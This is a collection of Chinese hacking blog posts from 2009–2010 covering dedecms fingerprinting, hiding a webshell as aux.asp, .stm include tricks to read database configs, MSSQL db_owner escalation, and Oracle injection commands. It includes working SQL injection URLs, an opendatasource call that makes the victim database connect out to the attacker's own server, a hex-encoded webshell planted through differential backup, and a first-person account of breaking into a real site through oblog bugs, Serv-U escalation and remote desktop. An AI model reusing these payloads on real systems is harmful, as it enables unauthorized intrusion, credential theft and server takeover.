浏览模式: 标准 | 列表分类:网文集萃

分享一个判断dedecms版本的方法

Submitted by admin
2010, August 31, 3:24 PM

访问/data/admin/ver.txt

附加历史更新:

20100708是最新版本5.6
20100324是5.5

20100429之后都是5.6版本,对应的日期为补丁的日期,可以知道什么漏洞没补

5.6版本更新记录:

2010-07-08
1.修复头像跨目录删除的bug
2.UTF-8版本支付错误;

2010-06-23
1.修复会员中心收藏夹错误
2.修复十八号升级的截取错误
3.修正远程文件包含的错误
4.修复发表文章同时更新主页错误

2010-06-18
1.加强上传过滤
2.修复图集提取第一张图片为缩略图错误
3.修复单表模型统计次数无效的问题
6.修复搜索存在错误
7.修复会员中心收藏夹错误
8.SQL标签为空时的错误
9. 修复多媒体文件类型为空时,提示上传软件类型错误


2010-05-26
1.删除多余的菜单项
2.修复复制文件模型时报错
3.修复复制图片模型采用新图片模板出错
4.修复截取函数造成的文章标题颜色错误等等问题
5.修复description为空时的错误以及可能发生分页错误
6.修复会员登陆后跳转错误
7.修复可能发生分页错误
8.修复会员中心首页好友显示错误
9.修复后台设置开启系统验证码注册会员无效
10.修复删除搜索关键词的时候出乱码
11.修复不能更新sql的问题
12.修复栏目栏目内容无法保存的错误
13.修复tag点击数量不增加的错误
14.修复文件报错

2010-05-15
1.更新支付接口;
2.修复升级器的一个小错误;
3.修复arclist]缓存标记在频道页hash码重复的问题;
4.修复若干错误;

2010-04-29
1.修复会员中心修改个人资料错误
2.优化系统部分性能
3.修复分组为空时的错误
4.修复会员头像显示错误
5.修复会员头像显示错误
6.修复会员个人资料中生日显示错误
7.修复会员个人资料中生日显示错误
8.修复删除分组时好友不显示
9.修复会员头像显示错误
10.修复会员头像显示错误

 

另外补充判断是dedecms的方法:

访问robots.txt

User-agent: *
Disallow: /plus/ad_js.php
Disallow: /plus/advancedsearch.php
Disallow: /plus/car.php
Disallow: /plus/carbuyaction.php
Disallow: /plus/shops_buyaction.php
Disallow: /plus/erraddsave.php
Disallow: /plus/posttocar.php
Disallow: /plus/disdls.php
Disallow: /plus/feedback_js.php
Disallow: /plus/mytag_js.php
Disallow: /plus/rss.php
Disallow: /plus/search.php
Disallow: /plus/recommend.php
Disallow: /plus/stow.php
Disallow: /plus/count.php
Disallow: /include
Disallow: /templets

Tags: dedecms

Windows 下不能够以下面这些字样来命名文件/文件夹,包括:“aux”,“com1”“com2”“prn”“con”和“nul”等,但是通过cmd下是可以创建此类文件夹的,使用copy命令即可实现:

D:\wwwroot>copy rootkit.asp \\.\D:\\wwwroot\aux.asp
已复制         1 个文件。


D:\AspWebServer\wwwroot>dir
驱动器 D 中的卷没有标签。
卷的序列号是 4A56-1D29

D:\AspWebServer\wwwroot 的目录

2010-04-25  14:41    <DIR>          .
2010-04-25  14:41    <DIR>          ..
2010-03-08  22:50            42,756 aux.asp
2005-05-02  03:02             9,083 index.asp
2010-03-08  22:50            42,756 rootkit.asp
               3 个文件         94,595 字节
               2 个目录  3,307,204,608 可用字节
这类文件无法在图形界面删除,

只能在命令行下删除:

D:\wwwroot>del \\.\D:\wwwroot\aux.asp

D:\wwwroot>
然而在IIS中,这种文件又是可以解析成功的。

网络收集,供大家参考

Tags: webshell

win2003单网卡配置VPN

Submitted by admin
2010, April 28, 8:12 AM

1. [管理工具] -->[路由和远程访问]

 

2.  鼠标右击你要管理的电脑 在弹出式菜单中选中[配置并启用路由和远程访问

 

3.  选中[自定义],因为你只有一块网卡嘛,所以选中第一项或第三项的话,你会得到一个必须两块网卡的提示.

 

4. 下一步就是选中[VPN访问],然后系统会问你要不要启动服务 当然要启动了。

 

5. 启动成功后,会得到如下图所示的情形,鼠标右击 要管理的电脑(这里的[KTVSERVER(本地)]),然后在弹出式菜单中选中[属性]

 

6. 在弹出的控制面板中选中[IP] --> [静态地址池] --> [添加] 然后输入个起始IP [10.240.60.1] 结束IP [10.240.60.10],这个IP段,是给拔入你的VPN服务器的客户端分配的虚拟IP

 

7. 然后鼠标右击[静态路由]-->[新建静态路由]

 

8. [接口]选本地连接,目标[0.0.0.0],网络掩码[0.0.0.0],网关输入你的网卡上TCP/IP协议里的那个网关(由于本人服务器是使用公网IP,所以使用的是电信局端网关),这一步很重要,不然你的VPN服务器客户拔入后,只能访问你的服务器,不然再访问其它网络。QQ之类的就不能用了

 

9. 选中[DHCP]中继代理程序

 

10. 完成以上后,鼠标右击[常规] --> [新增路由协议]

 

11. 选中[NAT/基本防火墙]

 

12. 加完后,你就会在左例表中看到[NAT/基本防火墙],鼠标右击[NAT/基本防火墙],选中弹出式菜单中[新增接口]

 

13. 选中[本地连接]

 

14. 在面板中选择 [公用接口连接到 Internet] --> [在此接口上启用NAT] ,如果你WINDOWS 2003中使用了系统自带的防火墙的话,请在[服务和端口],中要使用的服务打上勾,如果你不太清楚的话,那就全打上勾.

 

15. 全部完成,然后使用 VPN拔号软件 连入就行了

 

=============

 


因为公司作了上网限制,导致我正常的找资料也成了大问题
头痛
好在朋友一台服务器给我玩,因此想利用其开个VPN,实现代理上网
这样也同时可以绕开公司的监控
--------------------
1、打开[控制面板] --> [管理工具] -->[路由和远程访问]
2、鼠标右击你要管理的电脑在弹出式菜单中选中[配置并启用路由和远程访问]
3、选中[自定义],因为你只有一块网卡嘛,所以选中第一项或第三项的话,你会得到一个“必须两块网卡”的提示
4、一步就是选中[VPN访问],然后系统会问你“要不要启动服务”当然要启动了,有点慢等下吧!
5、启动成功后,鼠标右击要管理的电脑(这里的[(GIS-LFFCBHZ402E本地)]),然后在弹出式菜单中选中[属性]
6、在弹出的控制面板中选中[IP] --> [静态地址池] --> [添加] 然后输入个起始IP [192.168.0.1] 结束IP [192.168.0.254],这个IP段192.168.1.1-192.168.1.254都一样的都可以,是给拔入你的VPN服务器的客户端分配的虚拟IP
7、然后鼠标右击[静态路由]-->[新建静态路由]
8、[接口]选“本地连接”,目标[0.0.0.0],网络掩码[0.0.0.0],网关输入你的网卡上TCP/IP协议里的那个网关(看网上邻居的IP协议),这一步很重要,不然你的VPN服务器客户拔入后,只能访问你的服务器,不然再访问其它网络。QQ之类的就不能用了
查看网上邻居,得到他默认的网关
9、然后删除[DHCP 中继代理程序] 中的[内部]
10、然后鼠标右击[DHCP 中继代理程序] 在弹出式菜单中[新增接口]本地连接
11、选中[本地连接]
12、完成以上后,鼠标右击[常规] --> [新增路由协议]
13、选中[NAT/基本防火墙]
14、加完后,你就会在左例表中看到[NAT/基本防火墙],鼠标右击[NAT/基本防火墙],选中弹出式菜单中[新增接口]
15、选中[本地连接]
16、在面板中选择[公用接口连接到 Internet] --> [在此接口上启用NAT] ,如果你WINDOWS 2003中使用了系统自带的防火墙的话,请在[服务和端口],中要使用的服务打上勾,如果你不太清楚的话,那就全打上勾.
17、然后建立一个VPN帐号,允许拨入,设置允许访问。
18、全部完成,然后使用VPN拔号软件连入就行了完成了

 

 

Tags: vpn

构造ASP注入点

Submitted by admin
2010, April 23, 1:28 PM


首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去
<!--#include file="xx.asp"-->
<%
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from admin where id=" & id
rs.open strSQL,conn,1,3
rs.close
%>
 
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!

然后就要构造一个连接数据库的文件了,代码如下:

<%    
strSQLServerName = "000.000.000.000"   '服务器名称或地址
strSQLDBUserName = "sqlname"       '数据库帐号
strSQLDBPassword = "sqlpass"       '数据库密码
strSQLDBName = "sqldataname"       '数据库名称
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
%>
这里应该都会了;不过注意的是保存的文件名要和include调用的名字一样。正常情况下,就OK了,伪造成功……


--独自等待

Tags: 构造

stm文件包含功能的利用

Submitted by admin
2010, April 23, 12:01 PM

stm是一种文件后缀名

在浏览器中请求test.stm,没有什么反映,一片空白。但是一查看源代码,会发现是文件的真实内容,如果是ASP文件,则可以查看ASP的源码。

看下IIS服务器\主目录\配置\映射\stm,发现IIS解析此后缀名的文件是C:\WINDOWS\system32\inetsrv\ssinc.dll 也就是服务器端包含。

利用这个特性可以调试ASP程序,如一个asp文件,里面包含了很多的include file="",你想看看有没有重复或其它,可以将此文件后缀名改为stm,再用浏览器浏览,查看其代码。

变通地想,有些网站不准上传asp,aspx,htm,html,但对此文件后缀没有限制,可以上传一个x.stm到服务器。代码中写<!--#include file="conn.asp"-->,如果你知道其conn.asp的准备位置,可以用相对路径定位。然后浏览,怎么样,数据据信息一览无余。此时充当了一个木马的作用。

后记:大家可以用stm来调试asp,并且在配置IIS的时候要删除此映射。上次一位同学要实现查看一个asp全部包含的全部代码的功能,虽然想起来,却忘记了具体的后缀,一时google,baidu都找不到,居然忘记去看IIS的映射。今天偶然想起,好记性不如烂笔头,如果你坚持看到此外,相信本文对你有些用处。

两种方式,通过stm文件,是可以直接将asp文件的源代码直接输出到客户浏览器中。
要求:
1、服务器端要有shtml脚本映射
2、可以向服务器写入.stm/.shtm/.shtml后缀文件
3、知道想察看文件的文件名及相对位置
举例:
向服务器目录写入test.stm文件
<!--#include virtual="/news/index.asp"-->
或者
<!--#include file="index.asp"-->

注意:使用“virtual=”时,要指定文件对于根的相对位置,而使用“file=”的时候,需要指定文件对于上传目录,即test.stm的相对位置。
在浏览器输入http://www.xxx.com/news/test.stm,察看源代码,即可以看到index.asp文件的源代码。当然,我们也可以写入多个文件,来一次察看多个文件的源代码。
也有很多朋友把这个方法用在攻击上,用来查看conn等文件的内容,从而获得数据库位置,都一样!主要是自己灵活应用了!

今天在入侵的时候也遇到这样一个问题,搞一个网络硬盘,asp,asa,aspx的都传不上去,其它的后缀可以上传但不能用,NC抓包上传也搞过,没有效果,后来想到了数据库入侵,于是上传stm文件,并将conn.asp文件包含进去,结果查到了数据库,是asa后缀,插入一句话,连接成功,希望这种方法大家在以后的安检过程中也能用得到哦。

暴目录:  <!--#ECHO var="DOCUMENT_NAME"-->

 

Tags: stm

作者:许文强  
联系方式:QQ:57133683

    在看之前我们先回顾一下目前在公开或者已知的public和db_owner权限拿到webshell或者系统权限的思路和方法(sysadmin权限我就不说拉,给你这么一句,只要是sysadmin,拿不到webshell或者系统权限那是你的无能)public下面我还没见到一种可以真正能利用的方法。db_owner目前公开的方法主要有5种:第一种就是最普遍的backup,现在利用差异备份生成的asp文件确实要比以前小拉不少,但能否得到webshell,目前成功率还不是很高。第二种就是在下的万能提权,此法成功率几乎为零,只有在特定的条件下面才能实现。第三种就是LCX大虾在《MSSQL db_owner角色注入直接获得系统权限》,所说的利用xp_regread读出VNC在注册表的加密密码,然后破解,直接拿到系统权限,这种方法局限性比较大,要是对方主机没有装vnc,你怎么办。第四种就是利用xp_regwrite再注册表里直接加个系统帐号或者直接写个webshell,在主机重起的时候就可以拿到webshell或者系统权限。此法适用范围比较大,成功率也相对前3种较高点,但缺点也是显而易见的,就是不能够马上得到webshell,需要对方重起。第五种就是利用添加作业的一些存储过程,sp_add_job,sp_addtask之类得到系统权限。理论上应该说是目前这5种里面成功率最高的的一种吧(郁闷,我在本机测试的时候一次也没成功过,可能是操作系统的原因吧)。

    看过以上5种方法后,应该说目前在db_owner权限下面得到系统权限的的手段无论是成功率还是从结果来看,都还是不太理想的。呵呵要是我告诉你还有第6种,第7种,第8种呢,而且每个都比以上任何一种的方法的成功率都高。呵呵,你信不信。我先介绍一个大家应该都知道的,而且可能大家都经常用,可是却没想到他还有另一面的方法,我把他叫做——瞒天过海。再介绍之前还得有请各位看官先把我制作的动画看一下。

    看拉之后,不知道网管们会做何感想啊,想不到只有相对public权限(我在movie里面只有public权限,相信看过动画的各位也应该看清楚拉,之所以说是相对,那是因为我在master中有db_owner权限)的我们竟然可以使用只有sysadmin才能用的sp_oacreate及sp_oamethod吧,利用sp_oacreate,sp_oamethod我们可以说是无所不能,你可以用来写个webshell甚至直接加个系统帐号。而且利用sp_oacreate及sp_oamethod写出来的webshell可是没有乱码的哦。那么为什么只有 sysadmin 固定服务器角色的成员才能执行的 sp_OACreate、sp_oamethod(呵呵,M$讲的),而只有相对public权限的我们却好使用,原因我也不太清楚,可能是M$送给我们的“彩蛋”吧。

    可能你会问,那要是在master中是public权限,其他数据库都是public权限的情况下,我们还能得到webshell或者系统权限吗?我现在就告诉你,那是绝对不可能的事情,注意我的意思是说,在绝对public权限下面,你想通过存储过程以及扩展存储过程,得到webshell或者系统权限那是绝对不可能的事情,除非你借助其他方法才有可能在绝对的public权限下面,才有可能得到webshell或者系统权限,单靠sql的力量是肯定不够的。我在我的《终极利用方法》一文里面说的public权限的用户拿到webshell甚至系统权限的方法至少有4种,是指在相对的public权限下面,至少有4种以上。绝对的情况下面,你想用存储过程或者扩展存储过程拿到webshell或者系统权限是绝对不可能的。下面我来说说为什么在绝对的public权限下面是绝对不可能的.

   可能会有人说可以利用sp_add_job,sp_add_jobstep,sp_add_jobserver,sp_start_job,sp_addtask这些存储过程可以得到webshell或者系统权限啊,的确是可以,(郁闷,我在自己机器上作实验一次也没成功过,肉鸡上却可以,不懂)但要在SQLSERVERAGENT服务开启的情况下面,而且默认是不开启的哦,你想利用xp_servicecontrol来启动啊,你到查询分析器输入exec master..xp_servicecontrol 'start','SQLSERVERAGENT'试试看,看看是不是出现错误拉。

    就算是public可以使用的xp_regread,xp_dirtree,xp_subdirs这些稍微对你有用的存储过程,就算是给你用,你在检测对方的网站的时候也没办法用,你首先要建个表吧,然后才能把你要读的键值或者你要看的盘符插到表里面吧,最后才能通过暴出来才能看见你想要看见的内容。可是不要忘拉public是没有建表,插入,更新,备份等权限的,所以第一关你就过不去,你只能除拉select还是select。

    至于其他的有危险的存储及扩展存储我就不一一举例拉,不是权限不够就是有限制。所以综上所述,在绝对public权限下,想要只凭借sql的力量拿到webshell及系统权限是绝对不可能的事情(假如你可以做到的话,作个动画给大家看看,成功的话,那你绝对是牛人中的牛人拉。)

    网管们也不要开心的太早拉,就算是在绝对的public权限下,只要条件成熟,sql注射配合其他手法还是可以拿到webshell的,假设你的网站有sql injection漏洞,但是是绝对的public权限,“黑客”们虽然光凭sql的力量是无法得到webshell,但可以利用select暴出你的管理员密码然后到后台,通过上传(或者干脆就是上传漏洞)或者备份,修改,创建得到一个webshell,也可能用木马代替你的一个正常文件,得到webshell。当然方法还有很多,不可能一一列举出来。
    sql injection只是脚本漏洞的冰山一脚,网管们不要以为杜绝拉sql injection就可以高枕无忧,就算你真的杜绝拉sql injection,可是一旦在其他地方出拉问题,列如跨站拉(中国目前至少90%以上的网站都有这个问题,即使大型门户网站也不能幸免),上传拉(最近上传漏洞的确是火拉一阵啊),暴库拉(通过暴库得到数据库名,要是后缀是asp或asa的可以插入一句话木马),等等,只要你一个很小的地方出现拉问题,那么就有可能带来巨大的损失。在这里我想给所有网管们一个建议:
   对于那些公开的或者是已知的漏洞和问题,我们一定要处理好,解决好,而对于那些没有公开或者只有少数人掌握的漏洞,我们只有作好完备的防范措施,这样才能在"灾难"来临时把损失降到最低。

   总之一句话:安全是一个整体。

后记:
   可能会有人说有谁回在其他数据库里面都是public的情况下面,而惟独给master,db_owner权限呢?确实,这种概率确实很低。在实战public提权中也没多大利用价值。

    呵呵,那要是在其他数据库是db_owner权限,你认为master中具有db_owner的概率大不大?我以我实战的的经历告诉你,至少90%的网站会在给他默认数据库db_owner权限的同时,同时给master,db_owner权限,尤其是在他数据库少的时候,只有2,3个用户数据库的情况下,100%在master中具有db_owner权限。呵呵,那你说在db_owner权限下利用价值大不大。而且在所有有关的书籍里面都说拉只有sysadmin才能用的sp_oacreate及sp_oamethod,所以大多数网管都会认为即使我们找到注射点,也没有权限使用而不会删除。即使删除拉,也无所谓,由于MSSQL强大的功能再加上大量丰富的存储过程及扩展存储过程,我们还是有办法得到webshell甚至系统权限的,所以说最好的方法就是杜绝sql injection。

   应该有不少人都会在看拉之后回说我在N年前就知道拉,早就会用sp_oacreate和sp_oamethod拉,不错,你可能很早就知道拉,我也很早就知道拉,可是你知道只要有相对public权限或者说db_owner权限也可以使用吗?你可能还以为只有sysadmin固定服务器角色的成员才能执行吧。

   可能有的人看过以后会有人问我要工具,呵呵,其实网上面早就有拉,xiaolu写sqlcomm里面有这个功能,不过我觉得不太好用自己又重新写拉个。这里多说几句,一直用工具的话,会把人变傻的,工具只是武器,思想才是灵魂,工具只是提高效率罢了,并不代表你的技术高超。思想决定一切

(版权所有,未经允许,不得用于商业目的只能用于民间交流)

DB_OWNER权限得到mssql服务器IP的方法

Submitted by admin
2009, October 9, 1:08 AM

现在注入横飞.工具一大堆,过去手工注入的时代已经不复存在.
代之的是NBSI HDSI 啊D注入工具..等等.也是广大菜鸟的最爱了.
即使什么也不会.什么也不懂.只需要点几下鼠标.存在注入漏洞的网站密码就出来了.
接下来就是扫扫后台.传传马.就完了.就这样简单.碰到SA权限的话就直接建立号开3389或者上传WEBSHELL.
是内网就映射.是DB_OWNER权限的话呢就考虑用备份差异.但是WEB和数据库不在同一台服务器该怎么搞呢?
其实也不一定是搞不定.除了往注册表启动键值写DOS命令,让目标服务器下会开机执行,不过也是有局限性的.
该用户必须授权于Master这个库.才可调用储存过程.很少有管理员会这样做.所以希望很渺小.
如果我们遇到这种情况的话该如何搞呢?看图1
大小: 7.78 K
尺寸: 201 x 111
浏览: 39 次
点击打开新窗口浏览全图

 

DB权限.列下目录看看数据是否跟WEB在一块.要是在一块可考虑备份差异.
不过很可惜.找来找去都没有找到WEB目录.如图2
大小: 15.34 K
尺寸: 500 x 143
浏览: 38 次
点击打开新窗口浏览全图

 

这是利用MSSQL的XP_dirtree储存过程读取路径.然后写入临时表的结果.以前的NBSI没这功能.
小菜门只好扫扫SA啊.弄弄后台之类的.后来NBSI增加了treelist的功能.
可列出目录,更为方便查看目录结构.软件信息等等.
后来臭要饭的开发了Getwebshell才使这功能毕生光芒,把马插到数据库里,然后把数据库备份为ASP文件.
行是可行.但是数据库要是过大的话.几十M的WEBSHELL你说能用吗?Xiaolu的备份差异还算不错了.
减少文件大小.进行差异备份.不过还是回到原来一点.数据和WEB不在一块的.
其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.
都会装个IIS吧?列他C盘.看看有没有Inetpub这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?
可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.
1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的SQL与自己的数据库建立连接.
既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.
第一.你机器必须要有公网IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧.
我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀
怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
create database hack520 Create TABLE zhu(name nvarchar(256) null);Create TABLE J8(id int NULL,name nvarchar(256) null);
点执行.图3
大小: 14.92 K
尺寸: 500 x 239
浏览: 42 次
点击打开新窗口浏览全图

建立了一个hack520的库名.和zhu  J8两个表.zhu里面有name这一个字段.J8也放了两字段名.
一个是id一个是name.好了.现在就可以开始建立连接了.
先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句'
恩现在开始吧....
http://www.xxx.com/news.asp?id=126'insert%20into%20opendatasource('sqloledb','server=
219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').
hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--
在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下~图4
大小: 17.92 K
尺寸: 500 x 140
浏览: 42 次
点击打开新窗口浏览全图

哈哈已经连过来了.现在数据库服务器IP知道了.而且数据库服务器又开了80.现在干什么呢?
bak一个webshell上去吧.已知WEB目录C:\Inetpub\wwwroot.好.开始
http://www.xxx.com/news.asp?id=126;use tg800;declare @a sysname,@s varchar(4000)
select @a=db_name(),@s=0x737339323238 backup database @a to disk=@s-- 备份当前库
http://www.xxx.com/news.asp?id=126;Drop table [hack520];create table [dbo].[hack520] ([cmd] [image])--
http://www.xxx.com/news.asp?id=126;insert into hack520(cmd)
values(0x3C2565786563757465207265717565737428226C2229253E)-- 插入蓝屏木马
http://www.xxx.com/news.asp?id=126;declare @a sysname,@s varchar(4000)
select @a=db_name(),@s=0x433A5C496E65747075625C777777726F6F745C7A68752E617370
backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 再次以差异备份得到WEBSHELL http://221.216xxx.xx/zhu.asp
接下来就是用蓝屏木马客户端连接咯.这个就简单了.我这里就不多说了.
虽然没有拿到WEB服务器的SHELL.但是至少也不是空手而归.拿到了数据库服务器的SHELL.
以上的思路不错,希望大家遇见类似情况的时候可以拿下,但是这个还是有一定的局限性的.
关键在于SQL反向连接,如果对方设有防火墙或者是TCP/IP筛选的话,就不那么乐观了.

 

 

网站和数据库分离的入侵技术

Submitted by admin
2009, October 4, 3:35 PM

刚刚遇到了台web和数据库分离的站点,百度了下,找到了这么一

篇经典的文章,保存一下,以后好查找。。。。

------------------------------------------------------------

前言:在我们入侵的过程中,很多人会遇到这种情况,拿到一个sa权限或是db_owner权限的注入点,但是数据库和web数据是两台分离的服务器,也就是没有在同一台服务器上。有些是sa权限的注入点,我们当然可以直接执行命令,开了3389,但这时候有人直接用网址的ip去连接,怎么连接不上呢?明明用户是建好了的。有的遇到一个db_owner权限的注入点,想通过差异备份得webshell,可找了半天找不到目录,这是为什么呢?

总结:

带着疑问步入今天的话题,我们常常遭遇web和数据库服务器数据分离的情况,这种情况大至有以下以种:

1. Sa权限的注入点,可以执行命令,但连接不上netstat –an列出来的端口。

2. Sa权限的注入点,不能执行命令,但可以列目录。

3. db_owner权限的注入点,可以列目录。

4. db_owner权限的注入点,不能列目录。

针对上面的问题,我们大致说一下应对的方法,然后结合一个实例进行说明具体的拿服务器权限的过程。

像这种数据库与web分离的情况下,首先我们尽可能的拿到数据库服务器的权限,因为我们一般是通过找到网站的注入点着手的。如果是sa权限的注入点,可以执行命令,不能连接所开放的端口,这种情况下就是服务器处于内网之中,通过一个内网ip与web文件相连接,我们需要通过内网转发来登录数据库服务器。这中间涉及到down.vbs下载lcx.exe,上传注册表文件开3389等细节不详说了。

如果是sa权限的注入点,不能执行命令,我们可以试试nbsi中的oacreate来执行,或是能列目录找数据库服务器上是否存在web来首先得到一个webshell再进一步提权。

对于db_owner权限的注入点,这种权限比较低,可以试一下db_owner低权限执行命令,或是列下数据库服务器上是否存在web服务,先得到一个webshell进一步提权,剩下的就只有原始的猜解表段和字段,通过找主站后台来进一步突破了。

实例

下面的例子是帮朋友血印拿一个美国排名比较靠前的一个华人站点总结出来的,有必要写出来与大家分享。我们先看一下大致情况如图:

 大小: 23.7 K
尺寸: 500 x 177
浏览: 43 次
点击打开新窗口浏览全图

从上图中我们可以看到,这是一个主站的页面,还有很多分站,如“游戏中心”、“交友”、“聊天室”等。主站是整合的dvbbs7.1 sql版的,常规漏洞是没有的,有一个blog是oblog的,血印叫我帮拿这个站的时候就说他在网上搜了一下,oblog存在多个漏洞,如“读本地任意文件漏洞”、“导出日志注入漏洞”,他希望从这里着手。

我便在网上搜了一下这两个漏洞的相关信息,既然已找到入口,先从这里去试试看。先看了一下user_help.asp?file=conn.ASP读网站的conn.asp,这里要注意的是代码里过滤了asp,所以把conn.asp的asp后缀改为大写的,最好用firefox,是读到一些信息,如下图:

 大小: 32.97 K
尺寸: 500 x 215
浏览: 66 次
点击打开新窗口浏览全图

这里可以获得一些有用信息:'Dim SqlDatabaseName,SqlPassword,SqlUsername,SqlLocalName SqlDatabaseName = "sqlbbs" SqlPassword = "860755" SqlUsername = "sa" SqlLocalName = "192.168.1.1",可以得知mssql的帐号和密码,可是很明显mssql只对内开放的,是一个内网ip。先将这个信息收集起来,找找它的数据库服务器看是否支持外网连接。

分析了一下主站,telnet ip 1433 还有3389等端口,和想像的一样,主站只开了80端口,那么这里我们可以猜测到数据库和服务器应该是分离的,并只在内网支持连接。其实这样的大站不用想也应该是这样设置的。

 

那么我们怎么找到哪一台是数据库服务器呢?朋友血印也在一起搞,他扫了一下这个网段,没有开1433的服务器,这就增加了难度,难道1433真的不能对外连接,那么这个读出来的mssql帐号和密码对我们没有什么用处了,就算社会工程学一下都很难。

还有一个oblog的注入,但这个注入有点恼火,因为是一个user_logzip_

file.asp文件里面的如下语句没有做过滤:

sdate=request("selecty")&"-"&request("selectm")&"-"&request("selectd")

edate=request("selectey")&"-"&request("selectem")&"-"&request("selected")

只得手动提交参数给这个文件,但这个文件里又有一个头文件作了如下判断:

ComeUrl=lcase(trim(request.ServerVariables("HTTP_REFERER")))

if ComeUrl="" then

response.write "

对不起,为了系统安全,不允许直接输入地址访问本系统的后台管理页面。"

看来ie是没办法的了,只有上firfox,利用插件截取表单和提交表单了。如图:

大小: 27.46 K
尺寸: 500 x 279
浏览: 44 次
点击打开新窗口浏览全图 

但导出来的txt文本都是一般用户的垃圾信息,管理员的字段改了,还过滤了一些字符。本来想暴管理员的密码出来,可现在字段又被改了,更恼火的是字符被过滤得差不多,搞了半天也没有弄到啥。

可现在一想,就算拿到管理员密码又有什么用?密码虽和dvbbs论坛的密码可能是用的一个库,但应该是md5加密的,如果不是用的一个库,那么进了 oblog拿webshell也不容易,更何况这个注入点还被过滤了字符。这么大的站不能困死在这一个地方,到其它地方看看,还有那么多的分站没有分析。

想完便到分站上去转了转,可一圈下来还是无奈,分站全是生成的静态页面,看样子分站的程序都是自己写的,查看了静态页面的源代码,是用的asp,试了几个链接也没有用。也许是习惯问题吧,试试google来查找注入了,既然是自己写的程序,难免会出一点差错,其实这里还有一个经验问题,在遇到大站都是静态页面的话通过google来查找注入点是很有效的。

根据我的习惯,打开啊d,这时候当然用软件来检测最快了,输入google.com 点高级,先择每页显示100条,再按google语法输入“site:xxxx.us asp”,site:后面不要跟www,因为还要搜索它二级域名的注入点,所以直接跟xxxx.us,运气不错,在第一页中就搜出来一个注入点,仅有的一个注入点,好难得,还是game.xxx.us域名上的。还好,是 db_owner权限,还可以列目录,真幸运,如图:

 大小: 15.83 K
尺寸: 371 x 208
浏览: 49 次
点击打开新窗口浏览全图

这就是我们常常在入侵过程中要寻找的突破点,这就是一个典型的突破点。

通过差异备份获得一句话马,再上传大马,还好权限不是设得很严,再加上上面装了个serv-u,直接用serv-u加个用户试试,居然提权成功,我在想这个管理员应该是中国的,里面还在卖游戏点卡,郁闷。

3389是开开的,为了安全起见,我从先关掉韩国的vpn,因为我的习惯一般在拿站的时候上vpn的,好处多多,速度也要快不少。然后登上台湾的3389肉机,再在肉机上连接数据库服务器的3389上去看看。如图:

 大小: 44.51 K
尺寸: 500 x 395
浏览: 37 次
点击打开新窗口浏览全图

上图是在台湾3389上面登到美国服务器上的,有点乱,我们打开mssql企业管理器,清楚的看到sqlbbs这个库,我们想到什么了,dvbbs数据库就在这个服务器上,很幸运,看了一下设置情况果然是内网连接的。对于dvbbs我们国内的朋友搞多了就知道,只要拿到管理员密码就很好搞了。但打开数据库 dv_admin表里面的密码是md5加密的,我索性把这个密码记下来,再改成自己的md5加密的密码,速战速决嘛。

 

现在我们向主站进攻,直接登录管理员帐号,做个mdb附加的asp马,再改成.jpg的,上传上去,接下来就是备分了,写了一个本地提交备分的。

 

在这里还出现了一点小小的插曲,路径我填的upfiles/xxxx.gif可老是出现不是有效的数据库,最后研究了半天,原来管理员把上传的目录改成了upimages,真够郁闷,折腾了一下终于备份成功,如图:

 大小: 18.45 K
尺寸: 493 x 259
浏览: 41 次
点击打开新窗口浏览全图

接下来当然要做就做完了,同样,里面又是装的个serv-u,做事就做到底吧,上传个2003.reg开个3389,还好2003的服务器不用重启,给一个3389给血印同志就玩工了。

 大小: 24.31 K
尺寸: 489 x 335
浏览: 43 次
点击打开新窗口浏览全图

尾声:

血印同志看到我给他一个完整的3389服务器感激不尽,一直问我咋个进去的,其实很简单,我们在入侵的过程中寻找突破口很重要,要懂得放弃,在一个有破绽的地方久久没办法突破就想其它的办法。黑客技术是经验和思维的积累,其实很多情况下都没有什么高深复杂的技术,它需要我们的耐心和技巧。

oracle注射的详细基础教程

Submitted by admin
2009, October 2, 9:46 PM

第一部分

基本查询指令
 程序代码
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\\查询当前用户角色
select * from user_sys_privs\\查询当前用户系统权限


select username,password from dba_users; //查看所有用户密码hash
select * from dba_sys_privs where grantee='SYSTEM';\\查系统权限
grant select any dictionary to system with admin option;\\登陆不上OEM时候需要此权限
Select name,password FROM user$ Where name='SCOTT'; //低版本查看单用户密码
Select username,decode(password,NULL,'NULL',password) password FROM dba_users; //查看用户hash
create user bob identified by iloveyou;\\建用户bob密码iloveyou
grant dba to bob;\\赋予bob DBA权限
grant execute on xmldom to bob \\赋予用户execute
Create ROLE "javauserpriv" NOT IDENTIFIED
Create ROLE "javasyspriv" NOT IDENTIFIED \\当提示role 'JAVASYSPRIV' does not exist使用
select grantee from dba_role_privs where granted_role='DBA'; \\检查那些用户有DBA权限
select * from dba_directories;\\查看路径所在目录

第二部分,创建java,执行系统命令
 程序代码
